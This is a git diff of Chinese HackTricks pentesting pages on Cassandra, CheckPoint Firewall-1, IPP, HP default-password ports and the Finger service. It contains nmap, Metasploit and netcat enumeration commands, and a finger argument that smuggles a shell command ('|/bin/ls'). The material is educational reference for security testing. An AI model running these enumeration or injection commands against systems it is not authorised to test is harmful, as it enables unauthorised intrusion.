* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 9042/9160 - Cassandra渗透测试
|
||||
# 9042/9160 - Pentesting Cassandra
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Apache Cassandra**是一种**高度可扩展**、**高性能**的分布式数据库,旨在处理跨许多**普通服务器**的**大量数据**,提供**高可用性**,没有**单点故障**。它是一种**NoSQL数据库**。
|
||||
**Apache Cassandra** 是一个 **高度可扩展**、**高性能** 的分布式数据库,旨在处理 **大量数据**,分布在许多 **普通服务器** 上,提供 **高可用性**,且没有 **单点故障**。它是一种 **NoSQL 数据库**。
|
||||
|
||||
在一些情况下,您可能会发现Cassandra接受**任何凭据**(因为没有配置任何凭据),这可能会使攻击者能够**枚举**数据库。
|
||||
在某些情况下,您可能会发现 Cassandra 接受 **任何凭据**(因为没有配置任何凭据),这可能允许攻击者 **枚举** 数据库。
|
||||
|
||||
**默认端口:** 9042,9160
|
||||
```
|
||||
|
@ -45,7 +46,7 @@ SELECT * from configuration."config";
|
|||
```
|
||||
### 自动化
|
||||
|
||||
这里并没有太多选项,nmap 无法获取太多信息。
|
||||
这里没有太多选项,nmap 获取的信息也不多。
|
||||
```bash
|
||||
nmap -sV --script cassandra-info -p <PORT> <IP>
|
||||
```
|
||||
|
@ -54,18 +55,19 @@ nmap -sV --script cassandra-info -p <PORT> <IP>
|
|||
### **Shodan**
|
||||
|
||||
`port:9160 Cluster`\
|
||||
`port:9042 "Invalid or unsupported protocol version"`
|
||||
`port:9042 "无效或不支持的协议版本"`
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
可以与**CheckPoint** **Firewall-1**防火墙进行交互,以发现有价值的信息,如防火墙名称和管理站点名称。这可以通过向端口**264/TCP**发送查询来完成。
|
||||
可以与 **CheckPoint** **Firewall-1** 防火墙进行交互,以发现有价值的信息,例如防火墙的名称和管理站的名称。这可以通过向端口 **264/TCP** 发送查询来完成。
|
||||
|
||||
### 获取防火墙和管理站点名称
|
||||
### 获取防火墙和管理站名称
|
||||
|
||||
使用预身份验证请求,您可以执行一个针对**CheckPoint Firewall-1**的模块。以下是执行此操作所需的命令:
|
||||
使用预身份验证请求,您可以执行一个针对 **CheckPoint Firewall-1** 的模块。此操作所需的命令如下所示:
|
||||
```bash
|
||||
use auxiliary/gather/checkpoint_hostname
|
||||
set RHOST 10.10.10.10
|
||||
```
|
||||
在执行时,该模块尝试联系防火墙的SecuRemote拓扑服务。如果成功,它会确认存在CheckPoint防火墙,并检索防火墙和SmartCenter管理主机的名称。以下是输出的示例:
|
||||
在执行时,该模块尝试联系防火墙的 SecuRemote 拓扑服务。如果成功,它将确认 CheckPoint 防火墙的存在,并检索防火墙和 SmartCenter 管理主机的名称。以下是输出可能的示例:
|
||||
```text
|
||||
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
||||
[+] Appears to be a CheckPoint Firewall...
|
||||
|
@ -30,9 +31,9 @@ set RHOST 10.10.10.10
|
|||
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### 主机名和 ICA 名称发现的替代方法
|
||||
### Alternative Method for Hostname and ICA Name Discovery
|
||||
|
||||
另一种技术涉及直接发送特定查询到防火墙并解析响应以提取防火墙的主机名和 ICA 名称。命令及其结构如下:
|
||||
另一种技术涉及一个直接命令,该命令向防火墙发送特定查询并解析响应以提取防火墙的主机名和ICA名称。该命令及其结构如下:
|
||||
```bash
|
||||
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
||||
```
|
||||
|
@ -40,23 +41,24 @@ printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q
|
|||
```text
|
||||
CN=Panama,O=MGMTT.srv.rxfrmi
|
||||
```
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit\_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)
|
||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html\#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 互联网打印协议 \(IPP\)
|
||||
# Internet Printing Protocol \(IPP\)
|
||||
|
||||
**互联网打印协议(IPP)**,如**RFC2910**和**RFC2911**中所规定的,作为在互联网上进行打印的基础。它的可扩展性通过**IPP Everywhere**等发展得到展示,旨在标准化移动和云打印,并引入了用于**3D打印**的扩展。
|
||||
**互联网打印协议 (IPP)**,如**RFC2910**和**RFC2911**中所规定,是互联网打印的基础。其可扩展性通过**IPP Everywhere**等发展得以展示,旨在标准化移动和云打印,并引入了**3D打印**的扩展。
|
||||
|
||||
利用**HTTP**协议,IPP受益于已建立的安全实践,包括**基本/摘要身份验证**和**SSL/TLS加密**。执行诸如提交打印作业或查询打印机状态等操作是通过针对运行在**631/tcp端口**上的IPP服务器的**HTTP POST请求**完成的。
|
||||
利用**HTTP**协议,IPP受益于已建立的安全实践,包括**基本/摘要认证**和**SSL/TLS加密**。提交打印作业或查询打印机状态等操作通过指向IPP服务器的**HTTP POST请求**进行,该服务器在**port 631/tcp**上运行。
|
||||
|
||||
IPP的一个众所周知的实现是**CUPS**,这是一个开源打印系统,在各种Linux发行版和OS X中广泛使用。尽管它很实用,但类似于LPD,IPP可以被利用来通过**PostScript**或**PJL文件**传输恶意内容,突显了潜在的安全风险。
|
||||
IPP的一个著名实现是**CUPS**,这是一个在各种Linux发行版和OS X中普遍使用的开源打印系统。尽管其有用,IPP与LPD类似,可能被利用通过**PostScript**或**PJL文件**传输恶意内容,突显出潜在的安全风险。
|
||||
```python
|
||||
# Example of sending an IPP request using Python
|
||||
import requests
|
||||
|
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
|
|||
response = requests.post(url, headers=headers, data=data, verify=True)
|
||||
print(response.status_code)
|
||||
```
|
||||
如果你想了解更多关于[**黑客打印机的信息,请阅读此页面**](http://hacking-printers.net/wiki/index.php/Main_Page)。
|
||||
|
||||
如果你想了解更多关于[**黑客打印机,请阅读此页面**](http://hacking-printers.net/wiki/index.php/Main_Page)。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果你想看到你的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**默认端口:** 2301,2381
|
||||
**默认端口:** 2301,2381
|
||||
|
||||
# **默认密码**
|
||||
|
||||
|
@ -29,16 +30,17 @@ pg_hba.conf
|
|||
jboss-service.xml
|
||||
.namazurc
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 79 - 渗透测试 Finger
|
||||
# 79 - Pentesting Finger
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**Finger** 程序/服务用于检索有关计算机用户的详细信息。通常提供的信息包括**用户的登录名、全名**,有时还包括其他详细信息。这些额外的详细信息可能包括办公室位置和电话号码(如果有)、用户登录时间、空闲时间、用户上次阅读邮件的时间,以及用户计划和项目文件的内容。
|
||||
**Finger** 程序/服务用于检索计算机用户的详细信息。通常,提供的信息包括 **用户的登录名、全名**,在某些情况下,还包括其他详细信息。这些额外的详细信息可能包括办公室位置和电话号码(如果可用)、用户登录的时间、非活动时间(闲置时间)、用户最后一次阅读邮件的时间,以及用户的计划和项目文件的内容。
|
||||
|
||||
**默认端口:**79
|
||||
**默认端口:** 79
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
79/tcp open finger
|
||||
|
@ -36,15 +37,15 @@ finger @<Victim> #List users
|
|||
finger admin@<Victim> #Get info of user
|
||||
finger user@<Victim> #Get info of user
|
||||
```
|
||||
您也可以使用来自[pentestmonkey](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum)的**finger-user-enum**,一些示例:
|
||||
或者你可以使用 **finger-user-enum** 来自 [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum),一些示例:
|
||||
```bash
|
||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
finger-user-enum.pl -U users.txt -T ips.txt
|
||||
```
|
||||
#### **Nmap执行一个脚本来使用默认脚本**
|
||||
#### **Nmap 执行脚本以使用默认脚本**
|
||||
|
||||
### Metasploit使用的技巧比Nmap更多
|
||||
### Metasploit 使用的技巧比 Nmap 更多
|
||||
```
|
||||
use auxiliary/scanner/finger/finger_users
|
||||
```
|
||||
|
@ -64,16 +65,17 @@ finger "|/bin/ls -a /@example.com"
|
|||
finger user@host@victim
|
||||
finger @internal@external
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
